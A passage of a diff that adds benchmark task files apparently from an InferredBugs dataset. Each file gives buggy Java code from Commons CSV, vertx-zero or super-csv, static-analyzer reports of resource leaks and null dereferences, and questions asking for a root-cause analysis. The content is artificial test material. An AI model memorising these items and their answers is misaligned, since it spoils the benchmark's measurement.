+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testGetRecordWithMultiLineValues() throws Exception {
+        final CSVParser parser = CSVParser.parse("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser(null, invalidFormat).close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+            // expected
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        CSVRecord record;
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test // TODO this may lead to strange behavior, throw an exception if iterator() has already been called?
+    public void testMultipleIterators() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c" + CR + "d,e,f", CSVFormat.DEFAULT);
+
+        final Iterator<CSVRecord> itr1 = parser.iterator();
+        final Iterator<CSVRecord> itr2 = parser.iterator();
+
+        final CSVRecord first = itr1.next();
+        assertEquals("a", first.get(0));
+        assertEquals("b", first.get(1));
+        assertEquals("c", first.get(2));
+
+        final CSVRecord second = itr2.next();
+        assertEquals("d", second.get(0));
+        assertEquals("e", second.get(1));
+        assertEquals("f", second.get(2));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserNullReaderFormat() throws Exception {
+        new CSVParser(null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserReaderNullFormat() throws Exception {
+        new CSVParser(new StringReader(""), null);
+    }
+
+    @Test
+    public void testNoHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT);
+        Assert.assertNull(parser.getHeaderMap());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseFileNullFormat() throws Exception {
+        CSVParser.parse(new File(""), null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullFileFormat() throws Exception {
+        CSVParser.parse((File) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullStringFormat() throws Exception {
+        CSVParser.parse((String) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullUrlCharsetFormat() throws Exception {
+        CSVParser.parse(null, Charset.defaultCharset(), CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParserUrlNullCharsetFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), null, CSVFormat.DEFAULT);
+        parser.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseStringNullFormat() throws Exception {
+        CSVParser.parse("csv data", null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseUrlCharsetNullFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), Charset.defaultCharset(), null);
+        parser.close();        
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeaderAuto() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("a"));
+            assertTrue(record.isMapped("b"));
+            assertTrue(record.isMapped("c"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVParser.parse(input, CSVFormat.DEFAULT)) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testSkipAutoHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testSkipSetHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("a", "b", "c").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `parse(...)` at line 172 is not released after line 173.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testBackslashEscapingOld()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testBackslashEscapingOld():void.ddfb5a14fc3bd94ed8d9e181a8c66b04
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testBackslashEscapingOld|RESOURCE_LEAK
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+e9df51a2824e86f608ac78955dbdd729
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6603/instruction.md b/inferredbugs-6603/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2304ec19ebf948200f20802689e9d0d76bc24650
--- /dev/null
+++ b/inferredbugs-6603/instruction.md
@@ -0,0 +1,211 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** vertx-zero
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package io.vertx.tp.plugin.excel.tpl;
+
+import io.vertx.up.fn.Fn;
+import io.vertx.up.util.Ut;
+import org.apache.poi.ss.usermodel.*;
+
+import java.time.LocalDateTime;
+import java.time.LocalTime;
+import java.util.Date;
+import java.util.TimeZone;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+
+/**
+ * @author <a href="http://www.origin-x.cn">lang</a>
+ */
+class BlueDye {
+    private static final ConcurrentMap<Integer, BlueDye> PICKER_POOL =
+            new ConcurrentHashMap<>();
+    /*
+     * Fix Issue:
+     * The maximum number of Cell Styles was exceeded. You can define up to 64000 style in a .xlsx Workbook
+     */
+    private final ConcurrentMap<String, DyeCell> stylePool =
+            new ConcurrentHashMap<>();
+
+    private final transient Workbook workbook;
+
+    private BlueDye(final Workbook workbook) {
+        this.workbook = workbook;
+    }
+    /*
+     * Style applying to fix issue:
+     */
+
+    static BlueDye get(final Workbook workbook) {
+        return Fn.pool(PICKER_POOL, workbook.hashCode(), () -> new BlueDye(workbook));
+    }
+
+    /*
+     * {TABLE} cell
+     */
+    void onTable(final Cell cell) {
+        final DyeCell dyeCell = Fn.pool(this.stylePool, "TABLE",
+                () -> DyeCell.create(this.workbook)
+                        .color("FFFFFF", "3EB7FF")
+                        .align(HorizontalAlignment.CENTER)
+                        .border(BorderStyle.THIN)
+                        .font(13, false));
+        cell.setCellStyle(dyeCell.build());
+    }
+
+    void onModel(final Cell cell) {
+        final DyeCell dyeCell = Fn.pool(this.stylePool, "MODEL",
+                () -> DyeCell.create(this.workbook)
+                        .color("FFFFFF", "696969")
+                        .align(HorizontalAlignment.CENTER)
+                        .border(BorderStyle.THIN)
+                        .font(13, false));
+        cell.setCellStyle(dyeCell.build());
+    }
+
+    void onEmpty(final Cell cell) {
+        final DyeCell dyeCell = Fn.pool(this.stylePool, "EMPTY",
+                () -> DyeCell.create(this.workbook)
+                        .align(HorizontalAlignment.CENTER)
+                        .border(BorderStyle.THIN));
+        cell.setCellStyle(dyeCell.build());
+    }
+
+    void onCnHeader(final Cell cell) {
+        this.onTable(cell);
+    }
+
+    void onEnHeader(final Cell cell) {
+        final DyeCell dyeCell = Fn.pool(this.stylePool, "HEADER",
+                () -> DyeCell.create(this.workbook)
+                        .color("000000", "FFEC8B")
+                        .align(HorizontalAlignment.CENTER)
+                        .border(BorderStyle.THIN)
+                        .font(13, false));
+        cell.setCellStyle(dyeCell.build());
+    }
+
+    /*
+     * Here are simple rule for excel exporting
+     * 1) When the cell is NUMERIC, we should determine whether the value is Number or Date
+     * -- NUMBER, the style pool is DATA-VALUE, the same as other date type
+     * -- Date, when time equal the min ( 00:00 ), use format of `yyyy-MM-dd`, otherwise: `yyyy-MM-dd HH:mm`
+     *    The pool name is DATA-DATE & DATA-DATETIME
+     * 2) Other date type should be pool of DATA-VALUE also.
+     */
+    void onData(final Cell cell) {
+        final DyeCell dye;
+        if (CellType.NUMERIC == cell.getCellType()) {
+            /*
+             * Buf for date exporting here
+             */
+            final double cellValue = cell.getNumericCellValue();
+            if (DateUtil.isValidExcelDate(cellValue)) {
+                final Date value = DateUtil.getJavaDate(cellValue, TimeZone.getDefault());
+                final LocalDateTime datetime = Ut.toDateTime(value);
+                final LocalTime time = datetime.toLocalTime();
+                if (LocalTime.MIN == time) {
+                    /*
+                     * LocalDate
+                     */
+                    dye = this.onDataValue("DATA-DATE").dateFormat(false);
+                } else {
+                    /*
+                     * LocalDateTime
+                     */
+                    dye = this.onDataValue("DATA-DATETIME").dateFormat(true);
+                }
+            } else {
+                /*
+                 * Number
+                 */
+                dye = this.onDataValue("DATA-VALUE");
+            }
+        } else {
+            /*
+             * Other
+             */
+            dye = this.onDataValue("DATA-VALUE");
+        }
+        cell.setCellStyle(dye.build());
+    }
+
+    private DyeCell onDataValue(final String key) {
+        return Fn.pool(this.stylePool, key,
+                () -> DyeCell.create(this.workbook)
+                        .border(BorderStyle.THIN)
+                        .align(null, VerticalAlignment.TOP)
+                        .font(13, false));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `onDataValue(this,"DATA-DATE")` could be null and is dereferenced at line 108.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BlueDye.onData(Cell)
+
+### Procedure Id:
+io.vertx.tp.plugin.excel.tpl.BlueDye.onData(org.apache.poi.ss.usermodel.Cell):void.baa22f670ec8a3d9ee1cd733740c9c43
+
+### File:
+vertx-ifx/zero-ifx-excel/src/main/java/io/vertx/tp/plugin/excel/tpl/BlueDye.java
+
+### Key:
+BlueDye.java|onData|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+fd1d41ee63f7568cd168d8f1816d84b8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6604/instruction.md b/inferredbugs-6604/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2a302c61fd8dc48d5dfdb15dc938e7eac2e1f65
--- /dev/null
+++ b/inferredbugs-6604/instruction.md
@@ -0,0 +1,111 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** vertx-zero
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cn.vertxup.ambient.service;
+
+import cn.vertxup.ambient.domain.tables.daos.XModuleDao;
+import io.vertx.core.Future;
+import io.vertx.core.json.JsonArray;
+import io.vertx.core.json.JsonObject;
+import io.vertx.tp.ke.cv.KeField;
+import io.vertx.tp.ke.refine.Ke;
+import io.vertx.tp.optic.business.ExModel;
+import io.vertx.up.unity.Ux;
+
+public class ModelService implements ModelStub {
+    @Override
+    public Future<JsonObject> fetchModule(final String appId, final String entry) {
+        final JsonObject filters = new JsonObject()
+                .put("", Boolean.TRUE)
+                .put("entry", entry)
+                .put("appId", appId);
+        return Ux.Jooq.on(XModuleDao.class)
+                .fetchOneAsync(filters)
+                .compose(Ux::fnJObject)
+                /* Metadata field usage */
+                .compose(Ke.mount(KeField.METADATA));
+    }
+
+    @Override
+    public Future<JsonArray> fetchModels(final String sigma) {
+        return Ke.channel(ExModel.class, JsonArray::new,
+                model -> model.fetchAsync(sigma));
+    }
+
+    @Override
+    public Future<JsonArray> fetchAttrs(final String identifier, final String sigma) {
+        return Ke.channel(ExModel.class, JsonArray::new,
+                model -> model.fetchAttrs(identifier, sigma));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `on(cn.vertxup.ambient.domain.tables.daos.XModuleDao)` could be null and is dereferenced at line 20.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Future ModelService.fetchModule(String,String)
+
+### Procedure Id:
+cn.vertxup.ambient.service.ModelService.fetchModule(java.lang.String,java.lang.String):io.vertx.core.f6edaab4ac445c346abf1fa11d07808d
+
+### File:
+vertx-pin/zero-ambient/src/main/java/cn/vertxup/ambient/service/ModelService.java
+
+### Key:
+ModelService.java|fetchModule|NULL_DEREFERENCE
+
+### Node Key:
+e59d4f13a13a32109c447461abe95ea0
+
+### Hash:
+5476fd19b911cb60e3c570c59572a5ba
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6635/instruction.md b/inferredbugs-6635/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56a93bca0287be50227a6fb055baf476c0749560
--- /dev/null
+++ b/inferredbugs-6635/instruction.md
@@ -0,0 +1,187 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** super-csv
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.supercsv.exception;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.supercsv.TestConstants.ANONYMOUS_CSVCONTEXT;
+
+import org.junit.Test;
+import org.supercsv.cellprocessor.ift.CellProcessor;
+import org.supercsv.mock.IdentityTransform;
+import org.supercsv.util.CSVContext;
+
+/**
+ * Test the NullInputException class.
+ * 
+ * @author James Bassett
+ */
+public class NullInputExceptionTest {
+	
+	private static final String MSG = "Ahhhh a null!";
+	private static final Throwable THROWABLE = new RuntimeException("Muhahahahah I'm null");
+	private static final CellProcessor PROCESSOR = new IdentityTransform();
+	private static final String CONCATENATED_MSG = THROWABLE.getMessage() + "\n" + MSG;
+	
+	/**
+	 * Tests the first constructor.
+	 */
+	@Test
+	public void testConstructor1() {
+		NullInputException e = new NullInputException(MSG);
+		assertEquals(MSG, e.getMessage());
+		e.printStackTrace();
+		
+		// test with null msg
+		e = new NullInputException(null);
+		assertNull(e.getMessage());
+		e.printStackTrace();
+	}
+	
+	/**
+	 * Tests the second constructor.
+	 */
+	@Test
+	public void testConstructor2() {
+		NullInputException e = new NullInputException(MSG, PROCESSOR, THROWABLE);
+		assertEquals(CONCATENATED_MSG, e.getMessage());
+		assertEquals(PROCESSOR, e.getOffendingProcessor());
+		assertEquals(THROWABLE, e.getCause());
+		e.printStackTrace();
+		
+		// test with null msg, processor and throwable
+		e = new NullInputException(null, (CellProcessor) null, (Throwable) null);
+		assertNull(e.getMessage());
+		assertNull(e.getOffendingProcessor());
+		assertNull(e.getCause());
+		e.printStackTrace();
+	}
+	
+	/**
+	 * Tests the third constructor.
+	 */
+	@Test
+	public void testConstructor3() {
+		NullInputException e = new NullInputException(MSG, ANONYMOUS_CSVCONTEXT, THROWABLE);
+		assertEquals(CONCATENATED_MSG, e.getMessage());
+		assertEquals(ANONYMOUS_CSVCONTEXT, e.getCsvContext());
+		assertEquals(THROWABLE, e.getCause());
+		e.printStackTrace();
+		
+		// test with null msg, context and throwable
+		e = new NullInputException(null, (CSVContext) null, (Throwable) null);
+		assertNull(e.getMessage());
+		assertNull(e.getCsvContext());
+		assertNull(e.getCause());
+		e.printStackTrace();
+	}
+	
+	/**
+	 * Tests the fourth constructor.
+	 */
+	@Test
+	public void testConstructor4() {
+		NullInputException e = new NullInputException(MSG, ANONYMOUS_CSVCONTEXT, PROCESSOR);
+		assertEquals(MSG, e.getMessage());
+		assertEquals(ANONYMOUS_CSVCONTEXT, e.getCsvContext());
+		assertEquals(PROCESSOR, e.getOffendingProcessor());
+		e.printStackTrace();
+		
+		// test with null msg, context and processor
+		e = new NullInputException(null, (CSVContext) null, (CellProcessor) null);
+		assertNull(e.getMessage());
+		assertNull(e.getCsvContext());
+		assertNull(e.getOffendingProcessor());
+		e.printStackTrace();
+	}
+	
+	/**
+	 * Tests the fifth constructor.
+	 */
+	@Test
+	public void testConstructor5() {
+		NullInputException e = new NullInputException(MSG, PROCESSOR);
+		assertEquals(MSG, e.getMessage());
+		assertEquals(PROCESSOR, e.getOffendingProcessor());
+		e.printStackTrace();
+		
+		// test with null msg and processor
+		e = new NullInputException(null, null);
+		assertNull(e.getMessage());
+		assertNull(e.getOffendingProcessor());
+		e.printStackTrace();
+	}
+	
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `NullInputException(...)` at line 70.
+
